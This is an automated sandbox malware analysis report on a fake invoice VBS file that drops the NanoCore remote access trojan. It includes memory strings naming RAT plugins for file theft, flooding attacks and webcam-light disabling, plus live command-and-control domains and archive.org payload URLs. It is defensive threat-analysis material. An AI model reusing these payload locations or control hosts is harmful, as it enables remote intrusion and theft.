ultDefaultget_SettingsSettingsEnumvalue__sendStressCommandupdateStatusColumnstopStressCommandHTTPSlowlorisSYNSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerNonUserCodeAttributeDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeExceptionSendToServerProjectDataSetProjectErrorClearProjectErrorTimerNanoCoreIClientNameObjectCollectionget_VariablesGetValueset_Intervalset_EnabledElapsedEventHandleradd_ElapsedParamArrayAttributeRandomGuidStringIsNullOrEmptyArgumentNullExceptionArgumentOutOfRangeExce
Source: aspnet_compiler.exe, 00000014.00000002.1178170237.0000000003C41000.00000004.00000001.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationFileBrowserClient.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1ClientMainFileBrowserClientClientPluginCommandHandlersResourcesFileBrowserClient.My.ResourcesMySettingsMySettingsPropertyFunctionsCommandTypesMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceNanoCore.ClientPluginHostIClientLoggingHostLoggingHostIClientNetworkHostNetworkHostCurrentDirectoryInitializePluginNanoCore.ClientPluginIClientNetwork_loggingHost_networkHostBuildingHostCacheConnectionFailedhostportConnectionStateChangedconnectedPipeClosedpipeNamePipeCreatedReadPacketparamsHandleCreateDirectoryremoteDirHandleDeleteFileremoteFileisDirectoryHandleOpenFileHandleReceiveFilelocalFileHandleRenameFilenewFileNameHandleSetCurrentDirectorypathHandleDeleteHandleDownloadHandleDrivesHandleFilesHandleGetCurrentDirectoryHandleMachineNameHandleOpenHandleSetCurrentDirectoryPacketHandleUploadHandleRenameHandleCreateSendCurrentDirectorySendDrivesSendFileSendFilesSendMachineNameSystem.ResourcesResourceManagerresourceManSystem.GlobalizationCultureInforesourceCultureget_ResourceManagerget_Cultureset_CulturevalueCultureSystem.ConfigurationApplicationSettingsBasedefaultInstanceget_DefaultDefaultget_SettingsSettingsSystem.Collections.GenericList`1RemoteFilesRemoteFoldersRemoteDrivesEnumerateRemoteFilesEnumerateRemoteDrivesLogMessagemessageEnumvalue__MachineNameDrivesFilesGetCurrentDirectorySetCurrentDirectoryDownloadUploadOpenDeleteCreateDirectoryRenameSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerNonUserCodeAttributeDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeEnvironmentSpecialFolderGetFolderPathStringFormatSystem.IODirectoryDirectoryInfoProjectDataExceptionSetProjectErrorClearProjectErrorFileLogClientExceptionProcessStartConvertFromBase64StringWriteAllBytesMoveSendToServerConversionsToBooleanInt32NewLateBindingLateIndexGetEnumeratorEmptyGetEnumeratorget_CurrentTrimConcatMoveNextIDisposableDisposeReadAllBytesToBase64StringIsNullOrEmptyget_MachineNameToUpperget_UserNameReferenceEqualsSystem.ReflectionAssemblyget_AssemblyCompilerGeneratedAttributeSettingsBaseSynchronizedFileInfoFileSystemInfoget_FullNameContainsGetDirectoriesget_NameAddGetF
Source: aspnet_compiler.exe, 00000014.00000002.1173629355.00000000027C1000.00000004.00000001.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetValuedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll
Source: aspnet_compiler.exe, 00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCoreBase.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1ClientMainNanoCoreBaseClientPluginCommandHandlerResourcesNanoCoreBase.My.ResourcesMySettingsMySettingsPropertyCommandsMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceNanoCore.ClientPluginHostIClientLoggingHostLoggingHostIClientNetworkHostNetworkHostSendCommandparamsInitializePluginNanoCore.ClientPluginIClientNetwork_networkhost_loggingHostBuildingHostCacheConnectionFailedhostportConnectionStateChangedconnectedPipeClosedpipeNamePipeCreatedReadPacketHandleCommandHandleCommandOpenWebsiteHandleCommandMessageBoxSwapMouseButtonfSwapuser32.dllHandleCommandMouseSwapHandleCommandMouseUnswapmciSendStringlpszCommandlpszReturnStringcchReturnLengthhwndCallbackwinmm.dllmciSendStringAHandleCommandCDTrayHandleCommandCDTrayCloseSystem.ResourcesResourceManagerresourceManSystem.GlobalizationCultureInforesourceCultureget_ResourceManagerget_Cultureset_CultureValueCultureSystem.ConfigurationApplicationSettingsBasedefaultInstanceget_DefaultDefaultget_SettingsSettingsEnumvalue__OpenWebsiteMessageBoxCDTrayCDTrayCloseMouseSwapMouseUnswapSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerNonUserCodeAttributeDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeSendToServerParamArrayAttributeStringProcessStartSystem.Windows.FormsDialogResultShowConversionsReferenceEqualsSystem.ReflectionAssemblyget_AssemblyCompilerGeneratedAttributeSettingsBaseSynchronizedNanoCoreBase.Resources.resourcesDebuggableAttributeDebuggingModesCompilationRelaxationsAttributeRuntimeCompatibilityAttributeAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeNanoCoreBase.dll+set CDAudio door open/set CDAudio door closed-NanoCoreBase.Resources3
Source: aspnet_compiler.exe, 00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationMyClientPlugin.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1ClientMainMyClientPluginClientPluginMiscCommandHandlerCommandTypeMiscCommandMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceNanoCore.ClientPluginHostIClientLoggingHostLoggingHostInitializePluginNanoCore.ClientPluginIClientNetwork_loggingHostBuildingHostCacheConnectionFailedhostportConnectionStateChangedconnectedPipeClosedpipeNamePipeCreatedReadPacketparamsHandleMiscCommandHandleMiscCommandMessageInterpretRecievedcommandtodoloopkeysEnumvalue__MessageStringExceptionMicrosoft.VisualBasic.CompilerServicesOperatorsCompareStringServerComputerMicrosoft.VisualBasic.MyServicesRegistryProxyget_RegistryMicrosoft.Win32RegistryKeyget_LocalMachineConcatInt32SetValueProjectDataSetProjectErrorClearProjectErrorget_LengthStandardModuleAttributeSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerNonUserCodeAttributeDebuggerHiddenAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeDebuggableAttributeDebuggingModesCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeMyClientPlugin.dll'DisableWebcamLights

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 20.2.aspnet_compiler.exe.3828a18.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_compiler.exe.382d041.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_compiler.exe.3828a18.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_compiler.exe.3814575.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.1175964065.0000000003813000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1170915770.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1173629355.00000000027C1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aspnet_compiler.exe PID: 7072, type: MEMORYSTR

Yara detected Njrat

Show sources

Source: Yara match

File source: Process Memory Space: aspnet_compiler.exe PID: 5596, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	Registry Run Keys / Startup Folder1	Process Injection212	Disable or Modify Tools1	Input Capture11	File and Directory Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scripting221	Boot or Logon Initialization Scripts	Registry Run Keys / Startup Folder1	Deobfuscate/Decode Files or Information11	LSASS Memory	System Information Discovery12	Remote Desktop Protocol	Input Capture11	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Native API1	Logon Script (Windows)	Logon Script (Windows)	Scripting221	Security Account Manager	Query Registry1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Remote Access Software1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter11	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information1	NTDS	Security Software Discovery11	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	PowerShell1	Network Logon Script	Network Logon Script	Software Packing11	LSA Secrets	Process Discovery2	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol22	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Masquerading1	Cached Domain Credentials	Virtualization/Sandbox Evasion21	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion21	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Process Injection212	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Hidden Files and Directories1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
22.2.aspnet_compiler.exe.400000.0.unpack	100%	Avira	TR/Dropper.Gen7	Download File
20.2.aspnet_compiler.exe.400000.0.unpack	100%	Avira	TR/Dropper.MSIL.Gen7	Download File
20.2.aspnet_compiler.exe.3828a18.7.unpack	100%	Avira	TR/NanoCore.fadte	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://gro.sndkcud.armognad	0%	Avira URL Cloud	safe
http://certificates.godaddy.repo	0%	Avira URL Cloud	safe
newjan.duckdns.org	0%	Avira URL Cloud	safe
http://certificates.godaddy.	0%	Avira URL Cloud	safe
https://go.micro	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
dangomra.duckdns.org	185.244.30.23	true	true	unknown
ia601405.us.archive.org	207.241.227.125	true	false	high
newjan.duckdns.org	185.244.30.23	true	true	unknown
ia801408.us.archive.org	207.241.228.148	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://gro.sndkcud.armognad	true	Avira URL Cloud: safe	unknown
newjan.duckdns.org	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.godaddy.com/gdroot-g2.crl0F	powershell.exe, 00000003.00000003.970944930.000001EA40440000.00000004.00000001.sdmp	false		high
https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt	PowerShell_transcript.301389.iaYgJ3Zj.20210803203913.txt.3.dr	false		high
http://certificates.godaddy.repo	powershell.exe, 00000003.00000003.971057099.000001EA3FEC1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://certs.godaddy.com/repository/0	powershell.exe, 00000003.00000003.970944930.000001EA40440000.00000004.00000001.sdmp	false		high
http://certificates.godaddy.	powershell.exe, 00000003.00000003.971057099.000001EA3FEC1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://ia801408.us.archive.org/20/items/server_202108/Server.txt	Run.vbs.3.dr	false		high
http://google.com	aspnet_compiler.exe, 00000014.00000002.1178034772.0000000003B0C000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	aspnet_compiler.exe, 00000016.00000002.1173461884.0000000002C61000.00000004.00000001.sdmp	false		high
https://go.micro	powershell.exe, 00000003.00000003.669481789.000001EA294EC000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://certs.godaddy.com/repository/1301	powershell.exe, 00000003.00000003.970944930.000001EA40440000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
207.241.227.125	ia601405.us.archive.org	United States	7941	INTERNET-ARCHIVEUS	false
207.241.228.148	ia801408.us.archive.org	United States	7941	INTERNET-ARCHIVEUS	false
185.244.30.23	dangomra.duckdns.org	Netherlands	209623	DAVID_CRAIGGG	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	458883
Start date:	03.08.2021
Start time:	20:38:20
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	3G1J49A6V_Invoice.vbs
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winVBS@12/11@16/3
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 20 Number of non-executed functions: 3
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .vbs Override analysis time to 240s for JS/VBS files not yet terminated
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 168.61.161.212, 23.211.6.115, 13.88.21.125, 20.82.210.154, 20.54.110.249, 40.112.88.60, 173.222.108.226, 173.222.108.210, 80.67.82.235, 80.67.82.211, 20.50.102.62 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, skypedataprdcolcus17.cloudapp.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, ris.api.iris.microsoft.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus15.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtQueryVolumeInformationFile calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:39:14	API Interceptor	39x Sleep call for process: powershell.exe modified
20:41:46	API Interceptor	777x Sleep call for process: aspnet_compiler.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
207.241.227.125	Property.vbs	Get hash	malicious	Browse
	Booking_confirmation.vbs	Get hash	malicious	Browse
	Report-11003456773312.vbs	Get hash	malicious	Browse
	Report.vbs	Get hash	malicious	Browse
	Report.110034567733.vbs	Get hash	malicious	Browse
	AppraisalReport.vbs	Get hash	malicious	Browse
	Appraisal11002275444900.vbs	Get hash	malicious	Browse
207.241.228.148	PAYMENT COPY.ppt	Get hash	malicious	Browse
	8b664227_by_Libranalysis.ppt	Get hash	malicious	Browse
	KUP ZAM#U00d3WIENIE-34002174.ppt	Get hash	malicious	Browse
	280fdaa5_by_Libranalysis.ppt	Get hash	malicious	Browse
	SiggiaW.vbs	Get hash	malicious	Browse
	DHL SHIPMENT NOTIFICATION,6207428452.ppt	Get hash	malicious	Browse
	Analysis Reports.ppt	Get hash	malicious	Browse
	original_file.ppt	Get hash	malicious	Browse
	Remittance_PO-89488484.ppt	Get hash	malicious	Browse
	Confirm Order for AKTEK Company_E4117.ppt	Get hash	malicious	Browse
	PO#070421APRIL-REV.ppt	Get hash	malicious	Browse
	final po PP-11164.ppt	Get hash	malicious	Browse
	NR52.vbs	Get hash	malicious	Browse
	7.pps	Get hash	malicious	Browse
	CONTRACT AGRREMENT FORM.ppt	Get hash	malicious	Browse
	Order 122001-220.ppt	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ia601405.us.archive.org	Property.vbs	Get hash	malicious	Browse	207.241.227.125
	Booking_confirmation.vbs	Get hash	malicious	Browse	207.241.227.125
	Report-11003456773312.vbs	Get hash	malicious	Browse	207.241.227.125
	Report.vbs	Get hash	malicious	Browse	207.241.227.125
	Report.110034567733.vbs	Get hash	malicious	Browse	207.241.227.125
	AppraisalReport.vbs	Get hash	malicious	Browse	207.241.227.125
	Appraisal11002275444900.vbs	Get hash	malicious	Browse	207.241.227.125
ia801408.us.archive.org	PAYMENT COPY.ppt	Get hash	malicious	Browse	207.241.228.148
	8b664227_by_Libranalysis.ppt	Get hash	malicious	Browse	207.241.228.148
	KUP ZAM#U00d3WIENIE-34002174.ppt	Get hash	malicious	Browse	207.241.228.148
	280fdaa5_by_Libranalysis.ppt	Get hash	malicious	Browse	207.241.228.148
	SiggiaW.vbs	Get hash	malicious	Browse	207.241.228.148
	DHL SHIPMENT NOTIFICATION,6207428452.ppt	Get hash	malicious	Browse	207.241.228.148
	Analysis Reports.ppt	Get hash	malicious	Browse	207.241.228.148
	original_file.ppt	Get hash	malicious	Browse	207.241.228.148
	Remittance_PO-89488484.ppt	Get hash	malicious	Browse	207.241.228.148
	Confirm Order for AKTEK Company_E4117.ppt	Get hash	malicious	Browse	207.241.228.148
	PO#070421APRIL-REV.ppt	Get hash	malicious	Browse	207.241.228.148
	final po PP-11164.ppt	Get hash	malicious	Browse	207.241.228.148
	NR52.vbs	Get hash	malicious	Browse	207.241.228.148
	7.pps	Get hash	malicious	Browse	207.241.228.148
	CONTRACT AGRREMENT FORM.ppt	Get hash	malicious	Browse	207.241.228.148
	Order 122001-220.ppt	Get hash	malicious	Browse	207.241.228.148
	SKM_36721012514070-2.ppt	Get hash	malicious	Browse	207.241.228.148
newjan.duckdns.org	LxYbtlP5nB.exe	Get hash	malicious	Browse	185.244.30.23
	Invoice#282730.exe	Get hash	malicious	Browse	79.134.225.9
	Urban Receipt.exe	Get hash	malicious	Browse	79.134.225.9
	d9hGzIR8mh.exe	Get hash	malicious	Browse	194.5.97.75
	6554353_Payment_Invoice.exe	Get hash	malicious	Browse	194.5.97.75

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
INTERNET-ARCHIVEUS	Invoice_#.vbs	Get hash	malicious	Browse	207.241.227.120
	INVOICE.vbs	Get hash	malicious	Browse	207.241.228.140
	#WUHD09.vbs	Get hash	malicious	Browse	207.241.227.116
	Property.vbs	Get hash	malicious	Browse	207.241.227.125
	Invoice.vbs	Get hash	malicious	Browse	207.241.227.120
	Booking_confirmation.vbs	Get hash	malicious	Browse	207.241.228.144
	NCL_Mandatory_Form.vbs	Get hash	malicious	Browse	207.241.227.110
	HR-Ageing-Report.ppt	Get hash	malicious	Browse	207.241.227.129
	Reciept_ups.vbs	Get hash	malicious	Browse	207.241.227.123
	Invoice #20291.vbs	Get hash	malicious	Browse	207.241.227.113
	45678.vbs	Get hash	malicious	Browse	207.241.230.172
	New order (DDV21-0014) TOKYO HIP.ppt	Get hash	malicious	Browse	207.241.228.154
	SO-19844 EIDCO.ppam	Get hash	malicious	Browse	207.241.228.150
	IdDetails.ppam	Get hash	malicious	Browse	207.241.235.73
	New Purchase Order-030220.ppt	Get hash	malicious	Browse	207.241.228.145
	DHL_119040 Beleg.ppt	Get hash	malicious	Browse	207.241.228.145
	2UUlKfJYJN.exe	Get hash	malicious	Browse	207.241.224.2
	Drawing for Our New Order.ppt	Get hash	malicious	Browse	207.241.228.158
	IdDetails.ppam	Get hash	malicious	Browse	207.241.235.73
	IdDetails.ppam	Get hash	malicious	Browse	207.241.235.73
INTERNET-ARCHIVEUS	Invoice_#.vbs	Get hash	malicious	Browse	207.241.227.120
	INVOICE.vbs	Get hash	malicious	Browse	207.241.228.140
	#WUHD09.vbs	Get hash	malicious	Browse	207.241.227.116
	Property.vbs	Get hash	malicious	Browse	207.241.227.125
	Invoice.vbs	Get hash	malicious	Browse	207.241.227.120
	Booking_confirmation.vbs	Get hash	malicious	Browse	207.241.228.144
	NCL_Mandatory_Form.vbs	Get hash	malicious	Browse	207.241.227.110
	HR-Ageing-Report.ppt	Get hash	malicious	Browse	207.241.227.129
	Reciept_ups.vbs	Get hash	malicious	Browse	207.241.227.123
	Invoice #20291.vbs	Get hash	malicious	Browse	207.241.227.113
	45678.vbs	Get hash	malicious	Browse	207.241.230.172
	New order (DDV21-0014) TOKYO HIP.ppt	Get hash	malicious	Browse	207.241.228.154
	SO-19844 EIDCO.ppam	Get hash	malicious	Browse	207.241.228.150
	IdDetails.ppam	Get hash	malicious	Browse	207.241.235.73
	New Purchase Order-030220.ppt	Get hash	malicious	Browse	207.241.228.145
	DHL_119040 Beleg.ppt	Get hash	malicious	Browse	207.241.228.145
	2UUlKfJYJN.exe	Get hash	malicious	Browse	207.241.224.2
	Drawing for Our New Order.ppt	Get hash	malicious	Browse	207.241.228.158
	IdDetails.ppam	Get hash	malicious	Browse	207.241.235.73
	IdDetails.ppam	Get hash	malicious	Browse	207.241.235.73

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Invoice_#.vbs	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
	RoyalMail_Requestform0729.exe	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
	RoyalMail_Requestform1.exe	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
	MFS0175, MFS0117 MFS0194.exe	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
	INVOICE.vbs	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
	INQUIRY REQUIREMENTS.exe	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
	JUP2A9ptp5.exe	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
